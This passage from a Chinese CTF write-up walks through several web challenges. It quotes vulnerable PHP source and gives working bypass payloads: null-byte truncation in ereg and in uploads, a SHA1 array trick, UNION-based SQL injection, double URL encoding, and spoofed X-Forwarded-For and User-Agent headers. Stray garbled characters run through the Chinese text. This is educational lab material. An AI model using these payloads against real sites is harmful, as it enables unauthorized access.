但是前面抓包的過程中有看到它提示編輯器是使用vim,聯(lián)想到vim是使用交換文件的,于是構(gòu)造交換文件.submit.php.swp芹血,可以直接獲取submit.php源碼贮泞。。
可以看到判斷代碼是要求token十位幔烛,并且必須是為0啃擦,那就0000000000就行了。饿悬。令蛉。還有必須是管理員郵箱。狡恬。
十七: Once More
這道題目需要好好學(xué)習(xí)一下代碼審計(jì)知識(shí)珠叔。。弟劲。
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
這道題目有三個(gè)限制條件祷安,一個(gè)是不能出現(xiàn)非數(shù)字字母字符,一個(gè)是長度小于8且數(shù)字值要比9999999大函卒,一個(gè)是必須包含-,然后看了writeup,發(fā)現(xiàn)ereg存在截?cái)嘧址?00漏洞辆憔,所以直接構(gòu)造payload:1e8%00-就直接獲取flag了撇眯。报嵌。。
十八:Guess Next Session
這道題也是一道代碼審計(jì)題目熊榛。锚国。。
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
看條件可知道玄坦,只要?jiǎng)h除session血筑,password也設(shè)置為空,就可以造成相等煎楣,達(dá)到效果豺总。。择懂。
所以喻喳。。
所以直接修改session值困曙,上面字段為空就行了表伦。谦去。。
十九:FALSE
這道代碼審計(jì)要搞sha1碰撞蹦哼,膜拜大佬鳄哭。。纲熏。
我看了一下真正碰撞妆丘,只有Google搞出來下,但是需要PDF格式赤套,這時(shí)候看看所謂的sha1函數(shù)飘痛,發(fā)現(xiàn)傳入?yún)?shù)的格式應(yīng)該是字符串類型,傳入其他類型會(huì)導(dǎo)致輸出false容握,還有這種操作宣脉。。剔氏。
構(gòu)造payload:name[]=a&password[]=b就行了塑猖。。
二十:上傳繞過
這道題目考得是用0x00來截?cái)嘟鉀Qphp不能上傳的問題谈跛。羊苟。
如何做呢,就是直接在uploads/后面加一個(gè)1.php+,然后切換到16進(jìn)制把+的16進(jìn)制改為00就行了感憾。蜡励。這種截?cái)噙€真是多。阻桅。
二十一:NSCTF
這是一道解密題目凉倚,密碼函數(shù)直接貼出來了,下面直接上我這段時(shí)間苦練的python功底了嫂沉。稽寒。
import base64;
import codecs;
if __name__=='__main__':
str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
str=codecs.decode(str,'rot_13');
str=str[::-1];
str=base64.b64decode(str);
c='';
for i in str:
i=i-1;
c=c+chr(i);
print(c[::-1]);
二十二: 程序邏輯問題
這道題目源代碼在網(wǎng)頁源碼里,如下:
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
代碼明顯存在注入點(diǎn)趟章,在username處杏糙,然后password做了md5加密,所以主要是做了聯(lián)合查詢查個(gè)md5出來蚓土,使得與password相等就行宏侍,payload:Username' union select md5(1)#?
這樣的查詢語句就是 select pw from php where user='Username' union select md5(1)#?其中pw是md5(1),這樣的話就查詢出來了蜀漆。
二十三. what a fuck
這道題目上來完全不知道講啥谅河,看了writeup說是jsfuck編碼,可以直接扔瀏覽器console解碼
二十四.PHP大法
源代碼直接上來:
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
int eregi(string pattern, string string, [array regs]);
定義和用法
eregi()函數(shù)在一個(gè)字符串搜索指定的模式的字符串。搜索不區(qū)分大小寫旧蛾。Eregi()可以特別有用的檢查有效性字符串,如密碼莽龟。
可選的輸入?yún)?shù)規(guī)則包含一個(gè)數(shù)組的所有匹配表達(dá)式,他們被正則表達(dá)式的括號(hào)分組。
返回值
如果匹配成功返回true,否則,則返回false
這個(gè)代碼要繞過條件比較清晰锨天,首先系統(tǒng)url解碼以后不能出現(xiàn)hackerDJ毯盈,出現(xiàn)的話直接not allowed,然后后面經(jīng)過再一次url解碼以后要出現(xiàn)hackerDJ,所以直接url編碼兩次就行了,payload:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
二十四.這個(gè)看起來有點(diǎn)簡單
這道題目就是一道數(shù)字型有邏輯回顯的注入題目病袄,pass搂赋。。益缠。
二十五:貌似有點(diǎn)難
代碼審計(jì)題脑奠,看源碼
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "錯(cuò)誤!你的IP不在訪問列表之內(nèi)幅慌!";
}
?>
看了看代碼宋欺,就是函數(shù)返回值必須是1.1.1.1
直接改了x-forwarded-for字段就可以了。
二十六.頭有點(diǎn)大
You don't have permission to access / on this server.
Make sure you are in the region of England and browsing this site with Internet Explorer
所以直接修改user-agent以及accept-lanuuage就行了
所以直接在中user-agent加入.NET CLR 9.9 Accept-Language中語言改為英國的en-gb胰伍,首選en就行了齿诞。。骂租。祷杈。
二十七.貓抓老鼠
這道題把返回包的content-row發(fā)送出去就行了
二十八.看起來有點(diǎn)難
這道題目就是一道普通SQL注入,直接放sqlmap就行了渗饮。但汞。。互站。